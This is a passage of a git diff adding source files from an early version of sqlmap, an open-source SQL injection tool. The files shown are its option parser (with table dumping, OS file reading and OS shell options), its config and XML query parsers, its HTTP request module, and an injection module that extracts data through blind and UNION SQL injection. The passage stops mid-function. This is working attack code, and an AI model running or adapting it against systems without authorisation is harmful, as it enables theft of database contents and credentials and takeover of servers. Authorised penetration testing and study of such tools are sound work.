-D)") + + enumeration.add_option("--columns", dest="getColumns", action="store_true", + help="Enumerate DBMS database table columns " + "(req: -T, -D)") + + enumeration.add_option("--dump", dest="dumpTable", action="store_true", + help="Dump DBMS database table entries " + "(req: -T, -D opt: -C)") + + enumeration.add_option("--dump-all", dest="dumpAll", action="store_true", + help="Dump all DBMS databases tables entries") + + enumeration.add_option("-D", dest="db", + help="DBMS database to enumerate") + + enumeration.add_option("-T", dest="tbl", + help="DBMS database table to enumerate") + + enumeration.add_option("-C", dest="col", + help="DBMS database table column to enumerate") + + enumeration.add_option("-U", dest="user", + help="DBMS user to enumerate") + + enumeration.add_option("--exclude-sysdbs", dest="excludeSysDbs", + action="store_true", + help="Exclude DBMS system databases when " + "enumerating tables") + + enumeration.add_option("--start", dest="limitStart", type="int", + help="First table entry to dump") + + enumeration.add_option("--stop", dest="limitStop", type="int", + help="Last table entry to dump") + + enumeration.add_option("--sql-query", dest="query", + help="SQL SELECT query to be executed") + + enumeration.add_option("--sql-shell", dest="sqlShell", + action="store_true", + help="Prompt for an interactive SQL shell") + + # File system options + filesystem = OptionGroup(parser, "File system access", "These options " + "can be used to access the back-end database " + "management system file system taking " + "advantage of native DBMS functions or " + "specific DBMS design weaknesses.") + + filesystem.add_option("--read-file", dest="rFile", + help="Read a specific OS file content (only on MySQL)") + + filesystem.add_option("--write-file", dest="wFile", + help="Write to a specific OS file (not yet available)") + + # Takeover options + takeover = OptionGroup(parser, "Operating system access", "This " + "option can be used to access the back-end " + "database management system operating " + "system taking advantage of specific DBMS " + "design weaknesses.") + + takeover.add_option("--os-shell", dest="osShell", action="store_true", + help="Prompt for an interactive OS shell " + "(only on PHP/MySQL environment with a " + "writable directory within the web " + "server document root for the moment)") + + # Miscellaneous options + miscellaneous = OptionGroup(parser, "Miscellaneous") + + miscellaneous.add_option("--union-test", dest="unionTest", + action="store_true", + help="Test for UNION SELECT (inband) SQL injection") + + miscellaneous.add_option("--union-use", dest="unionUse", + action="store_true", + help="Use the UNION SELECT (inband) SQL injection " + "to retrieve the queries output. No " + "need to go blind") + + miscellaneous.add_option("--eta", dest="eta", action="store_true", + help="Retrieve each query output length and " + "calculate the estimated time of arrival " + "in real time") + + miscellaneous.add_option("-v", dest="verbose", type="int", + help="Verbosity level: 0-5 (default 0)") + + miscellaneous.add_option("--update", dest="updateAll", action="store_true", + help="Update sqlmap to the latest stable version") + + miscellaneous.add_option("-s", dest="sessionFile", + help="Save and resume all data retrieved " + "on a session file") + + miscellaneous.add_option("-c", dest="configFile", + help="Load options from a configuration INI file") + + miscellaneous.add_option("--save", dest="saveCmdline", action="store_true", + help="Save options on a configuration INI file") + + miscellaneous.add_option("--batch", dest="batch", action="store_true", + help="Never ask for user input, use the default behaviour") + + parser.add_option_group(request) + parser.add_option_group(injection) + parser.add_option_group(fingerprint) + parser.add_option_group(enumeration) + parser.add_option_group(filesystem) + parser.add_option_group(takeover) + parser.add_option_group(miscellaneous) + + (args, _) = parser.parse_args() + + if not args.url and not args.googleDork and not args.configFile and not args.updateAll: + errMsg = "missing a mandatory parameter ('-u', '-g', '-c' or '--update'), " + errMsg += "-h for help" + parser.error(errMsg) + + return args + except (OptionError, TypeError), e: + parser.error(e) + + debugMsg = "parsing command line" + logger.debug(debugMsg) diff --git a/lib/parse/configfile.py b/lib/parse/configfile.py new file mode 100644 index 000000000..5bb0ba21a --- /dev/null +++ b/lib/parse/configfile.py @@ -0,0 +1,101 @@ +#!/usr/bin/env python + +""" +$Id: configfile.py 261 2008-07-21 11:33:49Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +from ConfigParser import NoSectionError +from ConfigParser import SafeConfigParser + +from lib.core.common import checkFile +from lib.core.data import conf +from lib.core.data import logger +from lib.core.exception import sqlmapMissingMandatoryOptionException +from lib.core.optiondict import optDict + + +config = None + + +def configFileProxy(section, option, boolean=False, integer=False): + """ + Parse configuration file and save settings into the configuration + advanced dictionary. + """ + + global config + + if config.has_option(section, option): + if boolean: + value = config.getboolean(section, option) + elif integer: + value = config.getint(section, option) + else: + value = config.get(section, option) + + if value: + conf[option] = value + else: + conf[option] = None + else: + debugMsg = "missing requested option '%s' (section " % option + debugMsg += "'%s') into the configuration file, " % section + debugMsg += "ignoring. Skipping to next." + logger.debug(debugMsg) + + +def configFileParser(configFile): + """ + Parse configuration file and save settings into the configuration + advanced dictionary. + """ + + global config + + debugMsg = "parsing configuration file" + logger.debug(debugMsg) + + checkFile(configFile) + config = SafeConfigParser() + config.read(configFile) + + if not config.has_section("Request"): + raise NoSectionError, "Request in the configuration file is mandatory" + + if not config.has_option("Request", "url") and not config.has_option("Request", "googleDork"): + errMsg = "missing a mandatory option in the configuration " + errMsg += "file (url or googleDork)" + raise sqlmapMissingMandatoryOptionException, errMsg + + + for family, optionData in optDict.items(): + for option, data in optionData.items(): + boolean = False + integer = False + + if data == "boolean": + boolean = True + elif data == "integer": + integer = True + + configFileProxy(family, option, boolean, integer) diff --git a/lib/parse/html.py b/lib/parse/html.py new file mode 100644 index 000000000..77e33dbd4 --- /dev/null +++ b/lib/parse/html.py @@ -0,0 +1,75 @@ +#!/usr/bin/env python + +""" +$Id: html.py 286 2008-07-25 23:09:48Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +import re + +from xml.sax import parse +from xml.sax.handler import ContentHandler + +from lib.core.common import checkFile +from lib.core.common import sanitizeStr + + +class htmlHandler(ContentHandler): + """ + This class defines methods to parse the input HTML page to + fingerprint the back-end database management system + """ + + def __init__(self, page): + self.__dbms = None + self.__page = page + self.__regexp = None + self.__match = None + + self.dbms = None + + + def startElement(self, name, attrs): + if name == "dbms": + self.__dbms = attrs.get("value") + + if name == "error": + self.__regexp = attrs.get("regexp") + self.__match = re.search(self.__regexp, self.__page, re.I) + + if self.__match: + self.dbms = self.__dbms + self.__match = None + + +def htmlParser(page, xmlfile): + """ + This function calls a class that parses the input HTML page to + fingerprint the back-end database management system + """ + + checkFile(xmlfile) + page = sanitizeStr(page) + handler = htmlHandler(page) + parse(xmlfile, handler) + + return handler.dbms diff --git a/lib/parse/queriesfile.py b/lib/parse/queriesfile.py new file mode 100644 index 000000000..695beb066 --- /dev/null +++ b/lib/parse/queriesfile.py @@ -0,0 +1,203 @@ +#!/usr/bin/env python + +""" +$Id: queriesfile.py 343 2008-08-30 01:12:18Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +from xml.sax import parse +from xml.sax.handler import ContentHandler + +from lib.core.common import checkFile +from lib.core.common import sanitizeStr +from lib.core.data import logger +from lib.core.data import queries +from lib.core.data import paths +from lib.core.datatype import advancedDict + + +class queriesHandler(ContentHandler): + """ + This class defines methods to parse the default DBMS queries + from an XML file + """ + + def __init__(self): + self.__dbms = '' + self.__queries = advancedDict() + + + def startElement(self, name, attrs): + if name == "dbms": + data = sanitizeStr(attrs.get("value")) + self.__dbms = data + + elif name == "cast": + data = sanitizeStr(attrs.get("query")) + self.__queries.cast = data + + elif name == "length": + data = sanitizeStr(attrs.get("query")) + self.__queries.length = data + + elif name == "isnull": + data = sanitizeStr(attrs.get("query")) + self.__queries.isnull = data + + elif name == "delimiter": + data = sanitizeStr(attrs.get("query")) + self.__queries.delimiter = data + + elif name == "limit": + data = sanitizeStr(attrs.get("query")) + self.__queries.limit = data + + elif name == "limitregexp": + data = sanitizeStr(attrs.get("query")) + self.__queries.limitregexp = data + + elif name == "limitgroupstart": + data = sanitizeStr(attrs.get("query")) + self.__queries.limitgroupstart = data + + elif name == "limitgroupstop": + data = sanitizeStr(attrs.get("query")) + self.__queries.limitgroupstop = data + + elif name == "limitstring": + data = sanitizeStr(attrs.get("query")) + self.__queries.limitstring = data + + elif name == "order": + data = sanitizeStr(attrs.get("query")) + self.__queries.order = data + + elif name == "count": + data = sanitizeStr(attrs.get("query")) + self.__queries.count = data + + elif name == "substring": + data = sanitizeStr(attrs.get("query")) + self.__queries.substring = data + + elif name == "inference": + data = sanitizeStr(attrs.get("query")) + self.__queries.inference = data + + elif name == "banner": + data = sanitizeStr(attrs.get("query")) + self.__queries.banner = data + + elif name == "current_user": + data = sanitizeStr(attrs.get("query")) + self.__queries.currentUser = data + + elif name == "current_db": + data = sanitizeStr(attrs.get("query")) + self.__queries.currentDb = data + + elif name == "inband": + self.__inband = sanitizeStr(attrs.get("query")) + self.__inband2 = sanitizeStr(attrs.get("query2")) + self.__condition = sanitizeStr(attrs.get("condition")) + self.__condition2 = sanitizeStr(attrs.get("condition2")) + + elif name == "blind": + self.__blind = sanitizeStr(attrs.get("query")) + self.__blind2 = sanitizeStr(attrs.get("query2")) + self.__count = sanitizeStr(attrs.get("count")) + self.__count2 = sanitizeStr(attrs.get("count2")) + + + def endElement(self, name): + if name == "dbms": + queries[self.__dbms] = self.__queries + self.__queries = advancedDict() + + elif name == "users": + self.__users = {} + self.__users["inband"] = { "query": self.__inband, "query2": self.__inband2 } + self.__users["blind"] = { "query": self.__blind, "query2": self.__blind2, + "count": self.__count, "count2": self.__count2 } + + self.__queries.users = self.__users + + elif name == "passwords": + self.__passwords = {} + self.__passwords["inband"] = { "query": self.__inband, "query2": self.__inband2, "condition": self.__condition } + self.__passwords["blind"] = { "query": self.__blind, "query2": self.__blind2, + "count": self.__count, "count2": self.__count2 } + + self.__queries.passwords = self.__passwords + + elif name == "privileges": + self.__privileges = {} + self.__privileges["inband"] = { "query": self.__inband, "query2": self.__inband2, "condition": self.__condition, "condition2": self.__condition2 } + self.__privileges["blind"] = { "query": self.__blind, "query2": self.__blind2, + "count": self.__count, "count2": self.__count2 } + + self.__queries.privileges = self.__privileges + + elif name == "dbs": + self.__dbs = {} + self.__dbs["inband"] = { "query": self.__inband, "query2": self.__inband2 } + self.__dbs["blind"] = { "query": self.__blind, "query2": self.__blind2, + "count": self.__count, "count2": self.__count2 } + + self.__queries.dbs = self.__dbs + + elif name == "tables": + self.__tables = {} + self.__tables["inband"] = { "query": self.__inband, "condition": self.__condition } + self.__tables["blind"] = { "query": self.__blind, "count": self.__count } + + self.__queries.tables = self.__tables + + elif name == "columns": + self.__columns = {} + self.__columns["inband"] = { "query": self.__inband } + self.__columns["blind"] = { "query": self.__blind, "query2": self.__blind2, "count": self.__count } + + self.__queries.columns = self.__columns + + elif name == "dump_table": + self.__dumpTable = {} + self.__dumpTable["inband"] = { "query": self.__inband } + self.__dumpTable["blind"] = { "query": self.__blind, "count": self.__count } + + self.__queries.dumpTable = self.__dumpTable + + +def queriesParser(): + """ + This function calls a class to parse the default DBMS queries + from an XML file + """ + + debugMsg = "parsing XML queries file" + logger.debug(debugMsg) + + xmlfile = paths.QUERIES_XML + + checkFile(xmlfile) + handler = queriesHandler() + parse(xmlfile, handler) diff --git a/lib/request/__init__.py b/lib/request/__init__.py new file mode 100644 index 000000000..e8fee9d67 --- /dev/null +++ b/lib/request/__init__.py @@ -0,0 +1,25 @@ +#!/usr/bin/env python + +""" +$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + +pass diff --git a/lib/request/basic.py b/lib/request/basic.py new file mode 100644 index 000000000..904f9988d --- /dev/null +++ b/lib/request/basic.py @@ -0,0 +1,81 @@ +#!/usr/bin/env python + +""" +$Id: basic.py 247 2008-07-19 23:07:26Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +import re + +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import paths +from lib.parse.html import htmlParser + + +def forgeHeaders(cookie, ua): + """ + Prepare HTTP Cookie and HTTP User-Agent headers to use when performing + the HTTP requests + """ + + headers = {} + + for header, value in conf.httpHeaders: + if cookie and header == "Cookie": + headers[header] = cookie + elif ua and header == "User-Agent": + headers[header] = ua + else: + headers[header] = value + + return headers + + +def parsePage(page): + """ + @param page: the page to parse to feed the knowledge base htmlFp + (back-end DBMS fingerprint based upon DBMS error messages return + through the web application) list and absFilePaths (absolute file + paths) set. + + @todo: in the future parse the page content scrolling an XML file to + identify the dynamic language used and, most, the absolute path, + like for DBMS error messages (ERRORS_XML), see above. + """ + + if not page: + return + + htmlParsed = htmlParser(page, paths.ERRORS_XML) + + if htmlParsed and htmlParsed not in kb.htmlFp: + kb.htmlFp.append(htmlParsed) + + # Detect injectable page absolute system path + # NOTE: this regular expression works if the remote web application + # is written in PHP and debug/error messages are enabled. + absFilePaths = re.findall(" in <b>(.*?)</b> on line", page, re.I) + + for absFilePath in absFilePaths: + if absFilePath not in kb.absFilePaths: + kb.absFilePaths.add(absFilePath) diff --git a/lib/request/connect.py b/lib/request/connect.py new file mode 100644 index 000000000..19bcc32a6 --- /dev/null +++ b/lib/request/connect.py @@ -0,0 +1,228 @@ +#!/usr/bin/env python + +""" +$Id: connect.py 280 2008-07-25 13:33:06Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +import md5 +import re +import urllib2 +import urlparse + +from lib.contrib import multipartpost +from lib.core.convert import urlencode +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.exception import sqlmapConnectionException +from lib.request.basic import forgeHeaders +from lib.request.basic import parsePage + + + +class Connect: + """ + This class defines methods used to perform HTTP requests + """ + + @staticmethod + def getPage(**kwargs): + """ + This method connects to the target url or proxy and returns + the target url page content + """ + + url = kwargs.get('url', conf.url).replace(" ", "%20") + get = kwargs.get('get', None) + post = kwargs.get('post', None) + cookie = kwargs.get('cookie', None) + ua = kwargs.get('ua', None) + direct = kwargs.get('direct', False) + multipart = kwargs.get('multipart', False) + + cookieStr = "" + requestMsg = "HTTP request:\n%s " % conf.method + responseMsg = "HTTP response " + requestHeaders = "" + responseHeaders = "" + + if re.search("http[s]*://%s" % conf.hostname, url, re.I): + requestMsg += "%s" % conf.path or "/" + else: + requestMsg += "%s" % urlparse.urlsplit(url)[2] or "/" + + if direct: + if "?" in url: + url, params = url.split("?") + params = urlencode(params) + url = "%s?%s" % (url, params) + requestMsg += "?%s" % params + elif multipart: + multipartOpener = urllib2.build_opener(multipartpost.MultipartPostHandler) + conn = multipartOpener.open(url, multipart) + page = conn.read() + return page + elif conf.method == "GET": + if conf.parameters.has_key("GET") and not get: + get = conf.parameters["GET"] + + if get: + get = urlencode(get) + url = "%s?%s" % (url, get) + requestMsg += "?%s" % get + elif conf.method == "POST": + if conf.parameters.has_key("POST") and not post: + post = conf.parameters["POST"] + + post = urlencode(post) + + requestMsg += " HTTP/1.1" + + try: + # Perform HTTP request + headers = forgeHeaders(cookie, ua) + req = urllib2.Request(url, post, headers) + conn = urllib2.urlopen(req) + + if "Accept-Encoding" not in req.headers: + requestHeaders += "\nAccept-Encoding: identity" + + requestHeaders = "\n".join(["%s: %s" % (header, value) for header, value in req.header_items()]) + + for _, cookie in enumerate(conf.cj): + if not cookieStr: + cookieStr = "Cookie: " + + cookie = str(cookie) + index = cookie.index(" for ") + + cookieStr += "%s; " % cookie[8:index] + + if "Cookie" not in req.headers and cookieStr: + requestHeaders += "\n%s" % cookieStr[:-2] + + if "Connection" not in req.headers: + requestHeaders += "\nConnection: close" + + requestMsg += "\n%s" % requestHeaders + + if post: + requestMsg += "\n%s" % post + + requestMsg += "\n" + + logger.log(9, requestMsg) + + # Get HTTP response + page = conn.read() + code = conn.code + status = conn.msg + responseHeaders = conn.info() + + except urllib2.HTTPError, e: + if e.code == 401: + exceptionMsg = "not authorized, try to provide right HTTP " + exceptionMsg += "authentication type and valid credentials" + raise sqlmapConnectionException, exceptionMsg + else: + page = e.read() + code = e.code + status = e.msg + responseHeaders = e.info() + + except urllib2.URLError, e: + warnMsg = "unable to connect to the target url" + + if conf.googleDork: + warnMsg += ", skipping to next url" + logger.warn(warnMsg) + + return None + else: + warnMsg += " or proxy" + raise sqlmapConnectionException, warnMsg + + parsePage(page) + responseMsg += "(%s - %d):\n" % (status, code) + + if conf.verbose <= 4: + responseMsg += str(responseHeaders) + elif conf.verbose > 4: + responseMsg += "%s\n%s\n" % (responseHeaders, page) + + logger.log(8, responseMsg) + + return page + + + @staticmethod + def queryPage(value=None, place=None, content=False): + """ + This method calls a function to get the target url page content + and returns its page MD5 hash or a boolean value in case of + string match check ('--string' command line parameter) + """ + + get = None + post = None + cookie = None + ua = None + + if not place: + place = kb.injPlace + + if conf.parameters.has_key("GET"): + if place == "GET" and value: + get = value + else: + get = conf.parameters["GET"] + + if conf.parameters.has_key("POST"): + if place == "POST" and value: + post = value + else: + post = conf.parameters["POST"] + + if conf.parameters.has_key("Cookie"): + if place == "Cookie" and value: + cookie = value + else: + cookie = conf.parameters["Cookie"] + + if conf.parameters.has_key("User-Agent"): + if place == "User-Agent" and value: + ua = value + else: + ua = conf.parameters["User-Agent"] + + page = Connect.getPage(get=get, post=post, cookie=cookie, ua=ua) + + if content: + return page + elif conf.string: + if conf.string in page: + return True + else: + return False + else: + return md5.new(page).hexdigest() diff --git a/lib/request/inject.py b/lib/request/inject.py new file mode 100644 index 000000000..a9223b247 --- /dev/null +++ b/lib/request/inject.py @@ -0,0 +1,377 @@ +#!/usr/bin/env python + +""" +$Id: inject.py 368M 2008-10-14 23:52:59Z (local) $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +import re +import time + +from lib.core.agent import agent +from lib.core.common import cleanQuery +from lib.core.common import dataToSessionFile +from lib.core.common import expandAsteriskForColumns +from lib.core.common import readInput +from lib.core.common import replaceNewlineTabs +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.data import queries +from lib.core.data import temp +from lib.techniques.inband.union.use import unionUse +from lib.techniques.inference.blind import bisection +from lib.utils.resume import queryOutputLength +from lib.utils.resume import resume + + +def __getFieldsProxy(expression): + _, _, _, expressionFields = agent.getFields(expression) + expressionFieldsList = expressionFields.replace(", ", ",") + expressionFieldsList = expressionFieldsList.split(",") + + return expressionFields, expressionFieldsList + + +def __goInference(payload, expression): + start = time.time() + + if conf.sessionFile: + dataToSessionFile("[%s][%s][%s][%s][" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression)) + + if ( conf.eta or conf.threads > 1 ) and kb.dbms: + _, length, _ = queryOutputLength(expression, payload) + else: + length = None + + count, value = bisection(payload, expression, length=length) + duration = int(time.time() - start) + + infoMsg = "performed %d queries in %d seconds" % (count, duration) + logger.info(infoMsg) + + return value + + +def __goInferenceFields(expression, expressionFields, expressionFieldsList, payload): + outputs = [] + + for field in expressionFieldsList: + output = None + + expressionReplaced = expression.replace(expressionFields, field, 1) + output = resume(expressionReplaced, payload) + + if not output: + output = __goInference(payload, expressionReplaced) + + outputs.append(output) + + return outputs + + +def __goInferenceProxy(expression, fromUser=False): + """ + Retrieve the output of a SQL query characted by character taking + advantage of an blind SQL injection vulnerability on the affected + parameter through a bisection algorithm. + """ + + query = agent.prefixQuery(temp.inference) + query = agent.postfixQuery(query) + payload = agent.payload(newValue=query) + count = None + startLimit = 0 + stopLimit = None + outputs = [] + test = None + untilLimitChar = None + untilOrderChar = None + + output = resume(expression, payload) + + if output: + return output + + if kb.dbmsDetected: + expressionFields, expressionFieldsList = __getFieldsProxy(expression) + + if len(expressionFieldsList) > 1: + infoMsg = "the SQL query provided has more than a field. " + infoMsg += "sqlmap will now unpack it into distinct queries " + infoMsg += "to be able to retrieve the output even if we " + infoMsg += "are going blind" + logger.info(infoMsg) + + # If we have been here from SQL query/shell we have to check if + # the SQL query might return multiple entries and in such case + # forge the SQL limiting the query output one entry per time + # NOTE: I assume that only queries that get data from a table + # can return multiple entries + if fromUser and " FROM " in expression: + limitRegExp = re.search(queries[kb.dbms].limitregexp, expression, re.I) + + if limitRegExp: + if kb.dbms in ( "MySQL", "PostgreSQL" ): + limitGroupStart = queries[kb.dbms].limitgroupstart + limitGroupStop = queries[kb.dbms].limitgroupstop + + if limitGroupStart.isdigit(): + startLimit = int(limitRegExp.group(int(limitGroupStart))) + + stopLimit = limitRegExp.group(int(limitGroupStop)) + limitCond = int(stopLimit) > 1 + + elif kb.dbms in ( "Oracle", "Microsoft SQL Server" ): + limitCond = False + else: + limitCond = True + + # I assume that only queries NOT containing a "LIMIT #, 1" + # (or similar depending on the back-end DBMS) can return + # multiple entries + if limitCond: + if limitRegExp: + stopLimit = int(stopLimit) + + # From now on we need only the expression until the " LIMIT " + # (or similar, depending on the back-end DBMS) word + if kb.dbms in ( "MySQL", "PostgreSQL" ): + stopLimit += startLimit + untilLimitChar = expression.index(queries[kb.dbms].limitstring) + expression = expression[:untilLimitChar] + + if not stopLimit or stopLimit <= 1: + if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"): + test = "n" + else: + message = "does the SQL query that you provide might " + message += "return multiple entries? [Y/n] " + test = readInput(message, default="Y") + + if not test or test[0] in ("y", "Y"): + # Count the number of SQL query entries output + countFirstField = queries[kb.dbms].count % expressionFieldsList[0] + countedExpression = expression.replace(expressionFields, countFirstField, 1) + + if re.search(" ORDER BY ", expression, re.I): + untilOrderChar = countedExpression.index(" ORDER BY ") + countedExpression = countedExpression[:untilOrderChar] + + count = resume(countedExpression, payload) + + if not stopLimit: + if not count: + count = __goInference(payload, countedExpression) + + if count.isdigit() and int(count) > 0: + count = int(count) + + message = "the SQL query that you provide can " + message += "return up to %d entries. How many " % count + message += "entries do you want to retrieve?\n" + message += "[a] All (default)\n[#] Specific number\n" + message += "[q] Quit\nChoice: " + test = readInput(message, default="a") + + if not test or test[0] in ("a", "A"): + stopLimit = count + + elif test[0] in ("q", "Q"): + return "Quit" + + elif test.isdigit() and int(test) > 0 and int(test) <= count: + stopLimit = int(test) + + infoMsg = "sqlmap is now going to retrieve the " + infoMsg += "first %d query output entries" % stopLimit + logger.info(infoMsg) + + elif test[0] in ("#", "s", "S"): + message = "How many? " + stopLimit = readInput(message, default="10") + + if not stopLimit.isdigit(): + errMsg = "Invalid choice" + logger.error(errMsg) + + return None + + else: + stopLimit = int(stopLimit) + + else: + errMsg = "Invalid choice" + logger.error(errMsg) + + return None + + elif ( not count or int(count) == 0 ): + warnMsg = "the SQL query that you provided does " + warnMsg += "not return any output" + logger.warn(warnMsg) + + return None + + elif ( not count or int(count) == 0 ) and ( not stopLimit or stopLimit == 0 ): + warnMsg = "the SQL query that you provided does " + warnMsg += "not return any output" + logger.warn(warnMsg) + + return None + + for num in xrange(startLimit, stopLimit): + limitedExpr = expression + + if kb.dbms in ( "MySQL", "PostgreSQL" ): + limitStr = queries[kb.dbms].limit % (num, 1) + limitedExpr += " %s" % limitStr + + elif kb.dbms == "Oracle": + limitStr = queries[kb.dbms].limit + fromIndex = limitedExpr.index(" FROM ") + untilFrom = limitedExpr[:fromIndex] + fromFrom = limitedExpr[fromIndex+1:] + limitedExpr = "%s FROM (%s, %s" % (untilFrom, untilFrom, limitStr) + limitedExpr = limitedExpr % fromFrom + limitedExpr += "=%d" % (num + 1) + + elif kb.dbms == "Microsoft SQL Server": + if re.search(" ORDER BY ", limitedExpr, re.I): + untilOrderChar = limitedExpr.index(" ORDER BY ") + limitedExpr = limitedExpr[:untilOrderChar] + + limitStr = queries[kb.dbms].limit + fromIndex = limitedExpr.index(" FROM ") + untilFrom = limitedExpr[:fromIndex] + fromFrom = limitedExpr[fromIndex+1:] + limitedExpr = limitedExpr.replace("SELECT ", (limitStr % 1), 1) + limitedExpr = "%s WHERE %s " % (limitedExpr, expressionFieldsList[0]) + limitedExpr += "NOT IN (%s" % (limitStr % num) + limitedExpr += "%s %s)" % (expressionFieldsList[0], fromFrom) + + output = __goInferenceFields(limitedExpr, expressionFields, expressionFieldsList, payload) + outputs.append(output) + + return outputs + + elif kb.dbms == "Oracle" and expression.startswith("SELECT ") and " FROM " not in expression: + expression = "%s FROM DUAL" % expression + + outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload) + + returnValue = ", ".join([output for output in outputs]) + else: + returnValue = __goInference(payload, expression) + + return returnValue + + +def __goInband(expression): + """ + Retrieve the output of a SQL query taking advantage of an inband SQL + injection vulnerability on the affected parameter. + """ + + counter = None + output = None + partial = False + data = [] + + condition = ( + kb.resumedQueries and conf.url in kb.resumedQueries.keys() + and expression in kb.resumedQueries[conf.url].keys() + ) + + if condition: + output = resume(expression, None) + + if not output: + partial = True + + if not output: + output = unionUse(expression) + + fields = expression.split(",") + counter = len(fields) + + if output: + outCond1 = ( output.startswith(temp.start) and output.endswith(temp.stop) ) + outCond2 = ( output.startswith("__START__") and output.endswith("__STOP__") ) + + if outCond1 or outCond2: + if outCond1: + regExpr = '%s(.*?)%s' % (temp.start, temp.stop) + elif outCond2: + regExpr = '__START__(.*?)__STOP__' + + output = re.findall(regExpr, output, re.S) + + if conf.sessionFile and ( partial or not condition ): + logOutput = "".join(["__START__%s__STOP__" % replaceNewlineTabs(value) for value in output]) + dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, logOutput)) + + output = set(output) + + for entry in output: + info = [] + + if "__DEL__" in entry: + entry = entry.split("__DEL__") + else: + entry = entry.split(temp.delimiter) + + if len(entry) == 1: + data.append(entry[0]) + else: + for value in entry: + info.append(value) + + data.append(info) + else: + data = output + + if len(data) == 1 and isinstance(data[0], str): + data = data[0] + + return data + + +def getValue(expression, blind=True, inband=True, fromUser=False): + """ + Called each time sqlmap inject a SQL query on the SQL injection + affected parameter. It can call a function to retrieve the output + through inband SQL injection (if selected) and/or blind SQL injection + (if selected). + """ + + expression = 